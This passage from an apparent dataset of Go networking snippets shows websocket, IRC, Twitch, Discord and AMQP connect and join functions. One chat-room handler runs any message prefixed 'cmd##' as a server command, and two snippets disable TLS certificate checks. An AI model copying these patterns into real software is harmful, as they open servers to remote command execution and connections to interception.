!= nil {\n\t\treturn err\n\t}\n\tlog.Println(\"ws Connect:\", url)\n\n\tconn, _, err := websocket.DefaultDialer.Dial(url, http.Header{\n\t\t// Origin is important, it won't connect otherwise\n\t\t\"Origin\": {\"https://6obcy.org\"},\n\t\t// User-Agent can be ommited, but we want to look legit\n\t\t\"User-Agent\": {\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36\"},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer conn.Close()\n\n\tdoneCh := make(chan bool)\n\tsetupCh := make(chan *setupMessage)\n\n\t// start recv goroutine\n\tgo func() {\n\t\tinitialized := false\n\t\tdefer close(doneCh)\n\t\tfor {\n\t\t\tmsgType, msgBytes, err := conn.ReadMessage()\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"Failed to read:\", err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tprefix, msg := rawToTypeAndJSON(msgBytes)\n\t\t\tif !initialized {\n\t\t\t\tif prefix == setup {\n\t\t\t\t\tsm := &setupMessage{}\n\t\t\t\t\terr := json.Unmarshal([]byte(msg), sm)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Fatalf(\"Failed to parse setup message %s %s\\n\", err, msg)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tsetupCh <- sm\n\t\t\t\t\tinitialized = true\n\t\t\t\t}\n\t\t\t}\n\t\t\tif prefix == pong {\n\t\t\t\tif ws.Debug {\n\t\t\t\t\tfmt.Println(\"pong\")\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif ws.Debug {\n\t\t\t\tfmt.Println(\"ws ->:\", string(msgBytes))\n\t\t\t}\n\n\t\t\treceive <- &RawMessage{\n\t\t\t\tType: msgType,\n\t\t\t\tPayload: msgBytes,\n\t\t\t}\n\t\t}\n\t}()\n\n\t// start send goroutine\n\tgo func() {\n\t\tfor {\n\t\t\trm := <-send\n\n\t\t\tif rm == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif ws.Debug {\n\t\t\t\tfmt.Println(\"ws <-:\", string(rm.Payload))\n\t\t\t}\n\n\t\t\terr := conn.WriteMessage(rm.Type, rm.Payload)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"Failed to write:\", err)\n\t\t\t}\n\t\t}\n\t}()\n\n\tvar setupMsg *setupMessage\n\n\tselect {\n\tcase sm := <-setupCh:\n\t\tsetupMsg = sm\n\tcase <-time.After(5 * time.Second):\n\t\tlog.Println(\"Waited 5 seconds for setup message\")\n\t}\n\n\t// create a ticker and take care of sending pings\n\tticker := time.NewTicker(time.Millisecond * time.Duration(setupMsg.PingInterval))\n\tdefer ticker.Stop()\n\n\t// start main ws goroutine\n\tfor {\n\t\tselect {\n\t\tcase <-ticker.C:\n\t\t\tif ws.Debug {\n\t\t\t\tfmt.Println(\"ping\")\n\t\t\t}\n\t\t\terr := conn.WriteMessage(websocket.TextMessage, []byte(fmt.Sprintf(\"%d\", ping)))\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"Failed to ping\", err)\n\t\t\t}\n\t\tcase <-stop:\n\t\t\terr := conn.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, \"\"))\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"write close:\", err)\n\t\t\t}\n\t\t\tselect {\n\t\t\tcase <-doneCh:\n\t\t\tcase <-time.After(time.Second):\n\t\t\t}\n\t\t\tstop <- true\n\t\t\treturn nil\n\t\tcase <-doneCh:\n\t\t\treturn nil\n\t\t}\n\t}\n}", "func (s *Stream) Connect() {\n\turl := &url.URL{\n\t\tScheme: \"https\",\n\t\tHost: \"streaming.campfirenow.com\",\n\t\tPath: fmt.Sprintf(\"/room/%d/live.json\", s.room.ID),\n\t}\n\n\ts.base = httpie.NewStream(\n\t\thttpie.Get{url},\n\t\thttpie.BasicAuth{s.room.Connection.Token, \"X\"},\n\t\thttpie.CarriageReturn,\n\t)\n\n\tgo s.base.Connect()\n\n\tfor {\n\t\tselect {\n\t\tcase <-s.stop:\n\t\t\tclose(s.outgoing)\n\t\t\treturn\n\t\tcase data := <-s.base.Data():\n\t\t\tvar m Message\n\t\t\terr := json.Unmarshal(data, &m)\n\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tm.Connection = s.room.Connection\n\t\t\ts.outgoing <- &m\n\t\t}\n\t}\n}", "func doConnected(conn *websocket.Conn) (string, error) {\n\tvar userId string\n\tvar err error\n\tif userId, err = validConn(conn); err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// add websocket connection\n\tCManager.Connected(userId, conn)\n\n\ttimestamp := Timestamp()\n\tvar msg = &Message{\n\t\tMessageType: OnlineNotify,\n\t\tMediaType: Text,\n\t\tFrom: userId,\n\t\tCreateAt: timestamp,\n\t\tUpdateAt: timestamp,\n\t}\n\tCManager.Broadcast(conn, msg)\n\n\t// add to last message store\n\tLastMessage.Add(msg)\n\n\t// send recent message\n\terr = LastMessage.Foreach(func(msg *Message) {\n\t\tif err := websocket.JSON.Send(conn, msg); err != nil {\n\t\t\tfmt.Println(\"Send msg error: \", err)\n\t\t}\n\t})\n\tif err != nil {\n\t\tfmt.Println(\"send recent message error: \", err)\n\t}\n\n\treturn userId, nil\n}", "func (s *Realm) OnConnect(c *connection.Connection) {\r\n\tslog.Printf(\"New Connection from: %s\\n\", c.PeerAddr())\r\n\r\n\tsess := &RealmSession{\r\n\t\tConn: c,\r\n\t\tStartTime: time.Now(),\r\n\t}\r\n\r\n\ts.mtx.Lock()\r\n\te := s.conns.PushBack(sess)\r\n\ts.mtx.Unlock()\r\n\tc.SetContext(e)\r\n\r\n\tc.Send([]byte(\"fvpvTbKVC\\\\WnpqQvh_xdY\\\\\\\\\"))\r\n}", "func (s *service) connect() {\n\tif s.destroyed {\n\t\ts.logger.Warnf(\"connect already destroyed\")\n\t\treturn\n\t}\n\n\taddr := fmt.Sprintf(\"%s:%d\", s.Host, s.Port)\n\n\ts.logger.Infof(\"start %s %s\", s.Name, addr)\n\n\ts.Connecting = true\n\tconn, err := net.Dial(\"tcp\", addr)\n\tfor err != nil {\n\t\tif s.destroyed {\n\t\t\ts.logger.Warnf(\"dial already destroyed\")\n\t\t\treturn\n\t\t}\n\t\tif s.restarted {\n\t\t\ts.logger.WithError(err).Warnf(\"dial %v\", err)\n\t\t} else {\n\t\t\ts.logger.WithError(err).Errorf(\"dial %v\", err)\n\t\t}\n\t\ttime.Sleep(time.Duration(1) * time.Second)\n\t\tconn, err = net.Dial(\"tcp\", addr)\n\t}\n\ts.conn = conn\n\ts.restarted = false\n\ts.Connecting = false\n\ts.logger.Infof(\"connected %s %s\", s.Name, addr)\n\n\tquit := make(chan struct{})\n\ts.Send = s.makeSendFun(conn)\n\tmsg := types.Message{\n\t\tRouterHeader: constants.RouterHeader.Connect,\n\t\tUserID: s.RouterID,\n\t\tPayloadURI: types.PayloadURI(s.Caller),\n\t}\n\ts.Send(msg)\n\tgo common.WithRecover(func() { s.readPump(conn, quit) }, \"read-pump\")\n\ts.startHB(conn, quit)\n}", "func (c *Notification2Client) connect() error {\n\tif c.dialer == nil {\n\t\tpanic(\"Missing dialer for realtime client\")\n\t}\n\tws, err := c.createWebsocket()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.mtx.Lock()\n\tdefer c.mtx.Unlock()\n\n\tc.ws = ws\n\tif c.tomb == nil {\n\t\tc.tomb = &tomb.Tomb{}\n\t\tc.tomb.Go(c.worker)\n\t}\n\tc.connected = true\n\n\treturn nil\n}", "func connect() (*websocket.Conn, error) {\n\thost := fmt.Sprintf(\"%s:%s\", configuration.TV.Host, *configuration.TV.Port)\n\tpath := \"/api/v2/channels/samsung.remote.control\"\n\tquery := fmt.Sprintf(\"name=%s\", base64.StdEncoding.EncodeToString([]byte(configuration.Controller.Name)))\n\tu := url.URL{Scheme: *configuration.TV.Protocol, Host: host, Path: path, RawQuery: query}\n\n\tlog.Infof(\"Opening connection to %s ...\", u.String())\n\n\twebsocket.DefaultDialer.TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\n\tconnection, _, err := websocket.DefaultDialer.Dial(u.String(), nil)\n\tif err != nil {\n\t\tlog.Debugf(\"%v\", err)\n\t\treturn nil, err\n\t}\n\n\tlog.Infof(\"Connection is established.\")\n\n\treturn connection, nil\n}", "func (bili *BiliClient) sendJoinChannel(channelID int) error {\n\tbili.uid = rand.Intn(2000000000) + 1000000000\n\tbody := fmt.Sprintf(\"{\\\"roomid\\\":%d,\\\"uid\\\":%d}\", channelID, bili.uid)\n\treturn bili.sendSocketData(0, 16, bili.protocolVersion, 7, 1, body)\n}", "func (bot *Bot) Connect() {\n\t//close connection if it exists\n\tif bot.conn != nil {\n\t\terr := bot.conn.Close()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"error closing old connection\")\n\t\t}\n\t}\n\n\tvar err error\n\tfmt.Println(\"Attempting to connect to Twitch IRC server!\")\n\tbot.conn, err = net.Dial(\"tcp\", bot.server+\":\"+bot.port)\n\n\tif err != nil {\n\t\tfmt.Printf(\"Unable to connect to Twitch IRC server! Reconnecting in 10 seconds...\\n\")\n\t\ttime.Sleep(10 * time.Second)\n\t\tbot.Connect()\n\t}\n\n\tfmt.Printf(\"Connected to IRC server %s\\n\", bot.server)\n\n\tfmt.Fprintf(bot.conn, \"USER %s 8 * :%s\\r\\n\", bot.nick, bot.nick)\n\tfmt.Fprintf(bot.conn, \"PASS oauth:%s\\r\\n\", bot.AuthToken)\n\tfmt.Fprintf(bot.conn, \"NICK %s\\r\\n\", bot.nick)\n\tfmt.Fprintf(bot.conn, \"JOIN %s\\r\\n\", bot.channel)\n\tfmt.Fprintf(bot.conn, \"CAP REQ :twitch.tv/membership\\r\\n\")\n\tfmt.Fprintf(bot.conn, \"CAP REQ :twitch.tv/tags\\r\\n\")\n\n\tgo bot.ReadLoop()\n}", "func (s *LoginSocket) SendMessage(c *Client, msgType string, p interface{}) {\n\tlogger.Info(\"SendMessage on login channel\", msgType, p)\n\tgo c.SendMessage(LoginChannel, msgType, p)\n}", "func connect() *websocket.Conn {\n\turl := url.URL{Scheme: \"ws\", Host: *addr, Path: \"/ws\"}\n\tlog.Info(\"Connecting to \", url.String())\n\tconn, _, err := dialer.Dial(url.String(), nil)\n\tcheckError(err)\n\tlog.Info(\"Connected to \", url.String())\n\n\t// Read the message from server with deadline of ResponseWait(30) seconds\n\tconn.SetReadDeadline(time.Now().Add(utils.ResponseWait * time.Second))\n\n\treturn conn\n}", "func (s *streamMessageSender) Connect(ctx context.Context) (network.Stream, error) {\n\tif s.connected {\n\t\treturn s.stream, nil\n\t}\n\n\ttctx, cancel := context.WithTimeout(ctx, s.opts.SendTimeout)\n\tdefer cancel()\n\n\tif err := s.bsnet.ConnectTo(tctx, s.to); err != nil {\n\t\treturn nil, err\n\t}\n\n\tstream, err := s.bsnet.newStreamToPeer(tctx, s.to)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.stream = stream\n\ts.connected = true\n\treturn s.stream, nil\n}", "func (c *TwitchChat) Connect() {\n\tvar err error\n\tc.connLock.RLock()\n\tc.conn, _, err = c.dialer.Dial(GetConfig().Twitch.SocketURL, c.headers)\n\tc.connLock.RUnlock()\n\tif err != nil {\n\t\tlog.Printf(\"error connecting to twitch ws %s\", err)\n\t\tc.reconnect()\n\t}\n\n\tc.send(\"PASS \" + GetConfig().Twitch.OAuth)\n\tc.send(\"NICK \" + GetConfig().Twitch.Nick)\n\n\tfor _, ch := range c.channels {\n\t\terr := c.Join(ch)\n\t\tif err != nil {\n\t\t\tlog.Println(ch, err)\n\t\t}\n\t}\n}", "func (this *WebSocketController) Join() {\n\n\tuname := this.GetString(\"uname\")\n\troomName := this.GetString(\"room\")\n\n\tif len(uname) == 0 {\n\t\tthis.Redirect(\"/\", 302)\n\t\treturn\n\t}\n\n\t// Upgrade from http request to WebSocket.\n\tws, err := websocket.Upgrade(this.Ctx.ResponseWriter, this.Ctx.Request, nil, 1024, 1024)\n\tif _, ok := err.(websocket.HandshakeError); ok {\n\t\thttp.Error(this.Ctx.ResponseWriter, \"Not a websocket handshake\", 400)\n\t\treturn\n\t} else if err != nil {\n\t\tbeego.Error(\"Cannot setup WebSocket connection:\", err)\n\t\treturn\n\t}\n\n\tvar chatRoom *services.ChatRoom\n\tif roomName == \"\" {\n\t\troomName = \"defaultRoom\"\n\t}\n\tif chatRoom = services.SchedulerService.FindChatRoom(roomName); chatRoom == nil {\n\t\tbeego.Info(\"CreateChatRoom: \" + roomName)\n\t\tchatRoom = services.SchedulerService.CreateChatRoom(roomName)\n\t}\n\n\tchatRoom.Join(uname, ws)\n\tdefer chatRoom.Leave(uname)\n\n\t// Join chat room.\n\t//Join(uname, ws)\n\t//defer Leave(uname)\n\n\ttime.Sleep(time.Duration(2) * time.Second)\n\n\tfor event := chatRoom.GetArchive().Front(); event != nil; event = event.Next() {\n\t\tev := event.Value.(models.Event)\n\t\tdata, err := json.Marshal(ev)\n\t\tif err != nil {\n\t\t\tbeego.Error(\"Fail to marshal event:\", err)\n\t\t\treturn\n\t\t}\n\t\tif ws.WriteMessage(websocket.TextMessage, data) != nil {\n\t\t\t// User disconnected.\n\t\t\tchatRoom.Leave(uname)\n\t\t}\n\t}\n\n\t// Message receive loop.\n\tfor {\n\t\t_, p, err := ws.ReadMessage()\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\treceivedMessage := &models.ReceivedMessage{}\n\t\tif err := json.Unmarshal(p, receivedMessage); err != nil {\n\t\t\tbeego.Error(uname + \":\")\n\t\t\tbeego.Error(err)\n\t\t\tcontinue\n\t\t}\n\t\tif strings.HasPrefix(receivedMessage.Content, \"cmd##\") {\n\t\t\tcontent, err := services.Cmd.Exec(strings.Split(receivedMessage.Content, \"##\")[1])\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tchatRoom.Send(chatRoom.NewEvent(models.EVENT_MESSAGE, uname, \"\", content))\n\n\t\t} else if receivedMessage.ToName != \"\" && receivedMessage.ToName != \"broadcast\" {\n\t\t\tchatRoom.SendOne(chatRoom.NewEvent(models.EVENT_MESSAGE, uname, receivedMessage.ToName, receivedMessage.Content))\n\t\t} else {\n\t\t\tchatRoom.Send(chatRoom.NewEvent(models.EVENT_MESSAGE, uname, \"\", receivedMessage.Content))\n\t\t}\n\n\t}\n}", "func (b *Bot) Connect(token string) error {\n\tsession, err := discordgo.New(\"Bot \" + token)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Error creating Discord session: %w\", err)\n\t}\n\n\tsession.AddHandler(b.readMessage)\n\n\tsession.Identify.Intents = discordgo.MakeIntent(discordgo.IntentsGuildMessages)\n\n\tif err := session.Open(); err != nil {\n\t\treturn fmt.Errorf(\"Error opening connection: %w\", err)\n\t}\n\n\tb.session = session\n\n\treturn nil\n}", "func (this *WebSocketController) Join() {\n\tuname := this.GetString(\"uname\")\n\tif len(uname) == 0 {\n\t\tthis.Redirect(\"/\", 302)\n\t\treturn\n\t}\n\n\t// Upgrade from http request to WebSocket.\n\tws, err := websocket.Upgrade(this.Ctx.ResponseWriter, this.Ctx.Request, nil, 1024, 1024)\n\tif err != nil {\n\t\tif _, ok := err.(websocket.HandshakeError); ok {\n\t\t\thttp.Error(this.Ctx.ResponseWriter, \"Not a websocket handshake\", 400)\n\t\t\treturn\n\t\t} else {\n\t\t\tbeego.Error(\"Cannot setup WebSocket connection:\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Join chat room.\n\tJoin(uname, ws)\n\tdefer Leave(uname)\n\n\t// Message receive loop.\n\tfor {\n\t\t_, p, err := ws.ReadMessage()\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"\\nwebsocket message receive loop erro[%s]\\n\", err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tcommonInfoCh <- newEvent(models.EVENT_MESSAGE, uname, string(p))\n\t}\n}", "func (c *Driver) Connect() error {\n\tif !IsChannelValid(c.channel) {\n\t\treturn InvalidChanName\n\t}\n\n\tc.clean()\n\tconn, err := net.Dial(\"tcp\", fmt.Sprintf(\"%s:%d\", c.Host, c.Port))\n\tif err != nil {\n\t\treturn err\n\t} \n\t\n\tc.closed = false\n\tc.conn = conn\n\tc.reader = bufio.NewReader(c.conn)\n\n\terr = c.write(fmt.Sprintf(\"START %s %s\", c.channel, c.Password))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = c.read()\n\t_, err = c.read()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (pc *Client) Connect() (err error) {\n\n\tif debug {\n\t\tfmt.Printf(\"Connecting to %s\\n\", pc.server)\n\t}\n\n\tc, _, err := websocket.DefaultDialer.Dial(pc.server, nil)\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpc.connection = c\n\n\tgo func() {\n\t\tfor {\n\t\t\t_, message, err := c.ReadMessage()\n\t\t\tif err != nil {\n\t\t\t\tpc.disconnected()\n\t\t\t\treturn\n\t\t\t}\n\t\t\tpc.receive(message)\n\t\t}\n\t}()\n\n\terr = pc.wait(messages.TYPE_HELLO)\n\n\tif err != nil {\n\t\tpc.connected = true\n\t}\n\n\treturn\n}", "func (s *StandaloneMessageBus) Connect(inst flux.InstanceID) (Platform, error) {\n\ts.RLock()\n\tdefer s.RUnlock()\n\tp, ok := s.connected[inst]\n\tif !ok {\n\t\treturn disconnectedPlatform{}, nil\n\t}\n\treturn p, nil\n}", "func (this *WebSocketController) Join() {\n beego.Info(\"WebSocketControler.Join\")\n\n // Get username and roomname\n uname := this.GetString(\"uname\")\n room := this.GetString(\"room\")\n if len(uname) == 0 || len(room) == 0 {\n this.Redirect(\"/\", 302)\n return\n }\n\n // Upgrade from http request to WebSocket.\n ws, err := websocket.Upgrade(this.Ctx.ResponseWriter, this.Ctx.Request, nil, 1024, 1024)\n if _, ok := err.(websocket.HandshakeError); ok {\n http.Error(this.Ctx.ResponseWriter, \"Not a websocket handshake\", 400)\n return\n } else if err != nil {\n beego.Error(\"Cannot setup WebSocket connection:\", err)\n return\n }\n\n // Create new player\n player := models.NewPlayer(uname)\n\n // Join room.\n inChannel, outPlayer := models.JoinRoom(room, player)\n\n go broadcastWebSocket(player.OutChannel, ws)\n go receiveRoutine(inChannel, ws, player, outPlayer)\n}", "func connect(num int, serverHost string, serverPort int, result *chan resultConn) {\n\tfmt.Println(\"Start connection \", num)\n\tstart := time.Now()\n\tres := resultConn{}\n\tvar msgOut []byte\n\tconn, err := net.Dial(transport, fmt.Sprintf(\"%s:%d\", serverHost, serverPort))\n\tif err != nil {\n\t\t// handle error\n\t\tfmt.Println(err)\n\t} else {\n\t\treader := bufio.NewReader(conn)\n\t\tbuf := make([]byte, 1024)\n\t\tfor msgIndex := 0; msgIndex < messageCount; msgIndex++ {\n\t\t\tmsgOut = randomProtoMsg()\n\t\t\tconn.Write(msgOut)\n\t\t\tres.byteOut += len(msgOut)\n\t\t\tanswerSize, err := reader.Read(buf)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t} else {\n\t\t\t\tmsg := buf[0:answerSize]\n\t\t\t\tif showMsg {\n\t\t\t\t\tfmt.Printf(\n\t\t\t\t\t\t\"msg out: %s\\nmsg in: %s\\n\",\n\t\t\t\t\t\tstring(msgOut), string(msg))\n\t\t\t\t}\n\t\t\t\tres.byteIn += answerSize\n\t\t\t}\n\t\t}\n\t}\n\tres.time = float32(time.Since(start)) / 1E9\n\tfmt.Println(\"End connection\", num, \"time\", res.time)\n\t(*result) <- res\n}", "func (chatRoom *ChatRoom) Join(connection net.Conn) {\n\t// makes a new client\n\tclient := NewClient(connection)\n\t// appends it in the list\n\tchatRoom.clients = append(chatRoom.clients, client)\n\t// starts a goroutine to configure the incoming messages to be put in the chatroom's incoming\n\t// messages to broadcast\n\tgo func() {\n\t\tfor {\n\t\t\tchatRoom.incoming <- <-client.incoming\n\t\t}\n\t}()\n}", "func (h DeviceController) Connect(c *gin.Context) {\n\tctx := c.Request.Context()\n\tl := log.FromContext(ctx)\n\n\tidata := identity.FromContext(ctx)\n\tif !idata.IsDevice {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\"error\": ErrMissingAuthentication.Error(),\n\t\t})\n\t\treturn\n\t}\n\n\tmsgChan := make(chan *nats.Msg, channelSize)\n\tsub, err := h.nats.ChanSubscribe(\n\t\tmodel.GetDeviceSubject(idata.Tenant, idata.Subject),\n\t\tmsgChan,\n\t)\n\tif err != nil {\n\t\tl.Error(err)\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\"error\": \"failed to allocate internal device channel\",\n\t\t})\n\t\treturn\n\t}\n\t//nolint:errcheck\n\tdefer sub.Unsubscribe()\n\n\tupgrader := websocket.Upgrader{\n\t\tReadBufferSize: 1024,\n\t\tWriteBufferSize: 1024,\n\t\tSubprotocols: []string{\"protomsg/msgpack\"},\n\t\tCheckOrigin: func(r *http.Request) bool {\n\t\t\treturn true\n\t\t},\n\t\tError: func(\n\t\t\tw http.ResponseWriter, r *http.Request, s int, e error) {\n\t\t\trest.RenderError(c, s, e)\n\t\t},\n\t}\n\n\terrChan := make(chan error)\n\tdefer close(errChan)\n\n\t// upgrade get request to websocket protocol\n\tconn, err := upgrader.Upgrade(c.Writer, c.Request, nil)\n\tif err != nil {\n\t\terr = errors.Wrap(err,\n\t\t\t\"failed to upgrade the request to \"+\n\t\t\t\t\"websocket protocol\",\n\t\t)\n\t\tl.Error(err)\n\t\treturn\n\t}\n\t// websocketWriter is responsible for closing the websocket\n\t//nolint:errcheck\n\tgo h.connectWSWriter(ctx, conn, msgChan, errChan)\n\terr = h.ConnectServeWS(ctx, conn)\n\tif err != nil {\n\t\tselect {\n\t\tcase errChan <- err:\n\n\t\tcase <-time.After(time.Second):\n\t\t\tl.Warn(\"Failed to propagate error to client\")\n\t\t}\n\t}\n}", "func (b *BTCC) OnConnect(output chan socketio.Message) {\n\tif b.Verbose {\n\t\tlog.Printf(\"%s Connected to Websocket.\", b.GetName())\n\t}\n\n\tcurrencies := []string{}\n\tfor _, x := range b.EnabledPairs {\n\t\tcurrency := common.StringToLower(x[3:] + x[0:3])\n\t\tcurrencies = append(currencies, currency)\n\t}\n\tendpoints := []string{\"marketdata\", \"grouporder\"}\n\n\tfor _, x := range endpoints {\n\t\tfor _, y := range currencies {\n\t\t\tchannel := fmt.Sprintf(`\"%s_%s\"`, x, y)\n\t\t\tif b.Verbose {\n\t\t\t\tlog.Printf(\"%s Websocket subscribing to channel: %s.\", b.GetName(), channel)\n\t\t\t}\n\t\t\toutput <- socketio.CreateMessageEvent(\"subscribe\", channel, b.OnMessage, BTCCSocket.Version)\n\t\t}\n\t}\n}", "func (p *AMQPClient) Connect(ip string) {\n\t// start logging\n\tif env.IsLoggingEnabled() {\n\t\tl, err := logs.CreateAndConnect(env.GetLoggingCredentials())\n\t\tp.Logger = l\n\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Couldn't connect to logging service! No logs will be stored..\")\n\t\t}\n\t}\n\n\tconn, err := amqp.Dial(ip)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tp.Connection = conn\n\tfmt.Println(\"Connected to amqp node @\" + ip + \".\")\n\n\t// creates a channel to amqp server\n\tch, err := conn.Channel()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tp.Channel = ch\n\n\t// declares an exchange with name `chat` and type `fanout`\n\t// sends to every queue bound to this exchange\n\terr = ch.ExchangeDeclare(\"chat\", \"fanout\", true,\n\t\tfalse, false, false, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// declares a new queue with name=`queueName`\n\tq, err := ch.QueueDeclare(queueName+\"_\"+p.UUID.String(), false, false, true, false, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tp.Queue = q\n\n\t// binds the queue to the exchange\n\terr = ch.QueueBind(q.Name, \"\", \"chat\", false, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// handles outgoing messages\n\tgo func(p *AMQPClient) {\n\t\tfor {\n\t\t\tselect {\n\t\t\t// publishes a new message to the amqp server\n\t\t\t// if the channel received a new message\n\t\t\tcase s := <-p.outgoingMessages:\n\t\t\t\terr = ch.Publish(\"chat\", \"\", false, false,\n\t\t\t\t\tamqp.Publishing{\n\t\t\t\t\t\tContentType: \"text/plain\",\n\t\t\t\t\t\tBody: []byte(s.Message),\n\t\t\t\t\t})\n\t\t\tcase m := <-p.incomingMessages:\n\t\t\t\tfmt.Println(m.Message)\n\n\t\t\t\t// log the message\n\t\t\t\tif env.IsLoggingEnabled() {\n\t\t\t\t\tgo func() {\n\t\t\t\t\t\tuser, message := m.UserAndMessage()\n\t\t\t\t\t\terr := p.Logger.AddEntry(user, message)\n\n\t\t\t\t\t\tif p.Logger.Connected && err != nil {\n\t\t\t\t\t\t\tfmt.Println(\"Couldn't sent log!\", err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}()\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}(p)\n\n\t// get the channel consumer\n\tmsgs, err := ch.Consume(q.Name, \"\", true, false, false, false, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// handles incoming messages\n\tgo func(p *AMQPClient) {\n\t\tfor d := range msgs {\n\t\t\t// send a message packet to incoming handler\n\t\t\t// if a new message is inside the channel\n\t\t\tp.incomingMessages <- &network.MessagePacket{Message: string(d.Body)}\n\t\t}\n\t}(p)\n\n\tselect {\n\tcase p.stateUpdates <- true:\n\t\tbreak\n\t}\n}", "func (c *GatewayClient) connect() error {\n\tif !c.ready {\n\t\treturn errors.New(\"already tried to connect and failed\")\n\t}\n\n\tc.ready = false\n\tc.resuming = false\n\tc.heartbeatAcknowledged = true\n\tc.lastIdentify = time.Time{}\n\n\tc.Logf(\"connecting\")\n\t// TODO Need to set read deadline for hello packet and I also need to set write deadlines.\n\t// TODO also max message\n\tvar err error\n\tc.wsConn, _, err = websocket.DefaultDialer.Dial(c.GatewayURL, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgo c.manager()\n\n\treturn nil\n}", "func (c *Client) Connect(server string) error {\n\tconn, err := net.Dial(\"tcp\", server)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.Conn = conn\n\n\t// Wait for first message -- give the server 1 second\n\t// after acknowledgment\n\tc.GetMessage()\n\ttime.Sleep(time.Second)\n\n\t// Write the NICK and USER commands\n\tc.writeNick()\n\tc.writeUser()\n\n\t// Block until message 001 comes through\n\tfor true {\n\t\tmessage, err := c.GetMessage()\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif message.Command == \"001\" {\n\t\t\tbreak\n\t\t}\n\n\t}\n\n\treturn nil\n}", "func (rhost *rhostData) connect() {\n\n\t// Get local IP list\n\tips, _ := rhost.getIPs()\n\n\t// Create command buffer\n\tbuf := new(bytes.Buffer)\n\t_, port := rhost.teo.td.GetAddr()\n\tbinary.Write(buf, binary.LittleEndian, byte(len(ips)))\n\tfor _, addr := range ips {\n\t\tbinary.Write(buf, binary.LittleEndian, []byte(addr))\n\t\tbinary.Write(buf, binary.LittleEndian, byte(0))\n\t}\n\tbinary.Write(buf, binary.LittleEndian, uint32(port))\n\tdata := buf.Bytes()\n\tfmt.Printf(\"Connect to r-host, send local IPs\\nip: %v\\nport: %d\\n\", ips, port)\n\n\t// Send command to r-host\n\trhost.teo.sendToTcd(rhost.tcd, CmdConnectR, data)\n\trhost.connected = true\n}", "func (self *SinglePad) Connect(rawPad interface{}) {\n self.Object.Call(\"connect\", rawPad)\n}", "func on_connect(c net.Conn) {\n conn := create_connection(c)\n connected_clients_mutex.Lock()\n conn_id, _ := strconv.Atoi(conn.id)\n connected_clients[conn_id] = conn\n connected_clients_mutex.Unlock()\n handle_conn(conn)\n}", "func (p *Plugin) Connect() (err error) {\n\tif p.socket == nil {\n\t\treturn errors.New(\"Socket is already closed\")\n\t}\n\tgo func() {\n\t\tfor {\n\t\t\terr = p.receiveMessage()\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}()\n\terr = p.connect()\n\tif err != nil {\n\t\tp.Close()\n\t\treturn err\n\t}\n\treturn\n}", "func (observer *Observer) Connect(id int32, port int32) {\n\tobserver.connector.Connect(id, port)\n}", "func routeMsg(ws *websocket.Conn, ctx context.Context) {\n\n\tfor {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn\n\t\tcase msg := <-postFromClientChan:\n\t\t\tpostFromClient(msg)\n\t\tcase msg := <-initFromClientChan:\n\t\t\tinitFromClient(msg)\n\t\t}\n\t}\n\n}", "func (c *TunaSessionClient) OnConnect() chan struct{} {\n\treturn c.onConnect\n}", "func (session *Session) connect() {\n\n\tfor {\n\n\t\t// Dial out to server\n\t\ttlsconf := &tls.Config{\n\n\t\t\t// @TODO: Fix security here\n\t\t\tInsecureSkipVerify: true,\n\t\t}\n\t\tconn, err := tls.Dial(\"tcp4\", session.address, tlsconf)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Unable to connect to server, retry in 5 seconds: %v\\n\", err)\n\t\t\ttime.Sleep(time.Second * 5)\n\t\t\tcontinue\n\t\t}\n\n\t\t// store the connection\n\t\tsession.socket = conn\n\t\tsession.running = true\n\n\t\t// register with the server\n\t\tsession.register()\n\n\t\t// Start processing commands\n\t\tindata := make(chan 